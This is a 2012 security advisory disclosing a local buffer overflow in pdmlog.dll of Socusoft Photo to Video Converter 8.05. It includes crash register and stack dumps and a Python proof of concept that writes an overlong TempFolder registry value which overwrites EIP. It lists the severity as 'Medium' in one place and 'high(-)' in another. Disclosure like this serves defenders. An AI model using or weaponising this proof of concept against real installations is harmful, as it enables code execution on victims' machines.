Document Title:
===============
Socusoft Photo2Video 8.05 - Buffer Overflow Vulnerability
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=460
Release Date:
=============
2012-02-26
Vulnerability Laboratory ID (VL-ID):
====================================
460
Common Vulnerability Scoring System:
====================================
4.4
Product & Service Introduction:
===============================
Socusoft photo to video converter Professional allows you to create all kinds of eye-catching
slideshow videos (mp4, flv, mov, avi, mkv, mpeg, h.264, h.264 HD, 3gp, 3gpp2, swf ) playable on
YouTube, Facebook, MySpace, iPod, iPad, iphone, Archos, PSP, Zune. With the powerful Photo to Video
Converter Professional,you could convert photo to the animating and dynamic video and share the
video on YouTube, Facebook, MySpace, iPod, iPad, iPhone. With just a few minutes of work, you`ll
have an eye-catching slideshow video with background music and dynamic pan&zoom and attractive
transition effects. This powerful Photo to Video Converter Professional supports Over 260 animating
transition effects with Pan & Zoom effect.
(Copy of the Vendor Homepage: )
Abstract Advisory Information:
==============================
A Vulnerability Laboratory Researcher discovered a Local Buffer Overflow vulnerability on Socusofts Photo to Video
Converter Free and Professional v8.05
Vulnerability Disclosure Timeline:
==================================
2012-02-27: Public or Non-Public Disclosure
Discovery Status:
=================
Published
Affected Product(s):
====================
Exploitation Technique:
=======================
Local
Severity Level:
===============
Medium
Technical Details & Description:
================================
A Buffer Overflow vulnerability is detected on Socusoft Photo to Video Converter Free and Professional v8.05 (current version).
The vulnerability is located in the pdmlog.dll. Successful exploitation can result in execution of code, overwrite of registers & system compromise.
Vulnerable DLL(s):
[+] pdmlog.dll
--- Registers ---
# EAX 42424242
# EBX 00360000 pdmlog.dll:00360000
# ECX 0036BF3B pdmlog.dll:pdmlog_5+A66B
# EDX 80284006
# ESI 00000002
# EDI 00000000
# EBP 01C5FC0C Stack[000001AC]:01C5FC0C
# ESP 01C5FBF0 Stack[000001AC]:01C5FBF0
# EIP 42424242
# EFL 00010206
--- Stack ---
# 01C5FBE0 00000000
# 01C5FBE4 00000002
# 01C5FBE8 000094B7
# 01C5FBEC 00000001
# 01C5FBF0 0036BF6F pdmlog.dll:pdmlog_5+A69F <- Crash
# 01C5FBF4 00360000 pdmlog.dll:00360000
# 01C5FBF8 00000002
# 01C5FBFC 00000000
# 01C5FC00 00000000
# 01C5FC04 01C5FC20 Stack[000001AC]:01C5FC20
# 01C5FC08 7FFDE000 debug066:7FFDE000
--- Dump ---
# 00370584 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
# 00370594 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
# 003705A4 42 42 42 42 43 43 43 43 43 43 43 43 43 43 43 43 BBBBCCCCCCCCCCCC
# 003705B4 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
# 003705C4 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
Picture(s):
../1.png
Proof of Concept (PoC):
=======================
The Vulnerability can be exploited by local attackers. For demonstration or reproduce ...
#!/usr/bin/python
# Exploit Title: Socusoft Photo to Video Converter Free/Pro v8.05 (pdmlog.dll) Local Buffer Overflow PoC
# Version: 8.05
# Date: 2012-02-26
# Author: Julien Ahrens
# Homepage: http://www.inshell.net
# Software Link: http://www.socusoft.com
# Tested on: Windows XP SP3 Professional German
# Notes: Overflow occurs in pdmlog.dll
# Howto: Import Reg -> Start App
# EAX 42424242
# EBX 00360000 pdmlog.dll:00360000
# ECX 0036BF3B pdmlog.dll:pdmlog_5+A66B
# EDX 80284006
# ESI 00000002
# EDI 00000000
# EBP 01C5FC0C Stack[000001AC]:01C5FC0C
# ESP 01C5FBF0 Stack[000001AC]:01C5FBF0
# EIP 42424242
# EFL 00010206
# 01C5FBE0 00000000
# 01C5FBE4 00000002
# 01C5FBE8 000094B7
# 01C5FBEC 00000001
# 01C5FBF0 0036BF6F pdmlog.dll:pdmlog_5+A69F <- Crash
# 01C5FBF4 00360000 pdmlog.dll:00360000
# 01C5FBF8 00000002
# 01C5FBFC 00000000
# 01C5FC00 00000000
# 01C5FC04 01C5FC20 Stack[000001AC]:01C5FC20
# 01C5FC08 7FFDE000 debug066:7FFDE000
file="poc.reg"
junk1="\x41" * 548
boom="\x42\x42\x42\x42"
junk2="\x43" * 100
poc="Windows Registry Editor Version 5.00\n\n"
poc=poc + "[HKEY_CURRENT_USER\Software\Socusoft Photo to Video Converter Free Version\General]\n"
poc=poc + "\"TempFolder\"=\"" + junk1 + boom + junk2 + "\""
try:
print "[*] Creating exploit file...\n";
writeFile = open (file, "w")
writeFile.write( poc )
writeFile.close()
print "[*] File successfully created!";
except:
print "[!] Error while creating file!";
Security Risk:
==============
The security risk of the local buffer overflow vulnerability is estimated as high(-).
Credits & Authors:
==================
Vulnerability Research Laboratory - Julien Ahrens (MrTuxracer) [www.inshell.net]
Disclaimer & Information:
=========================
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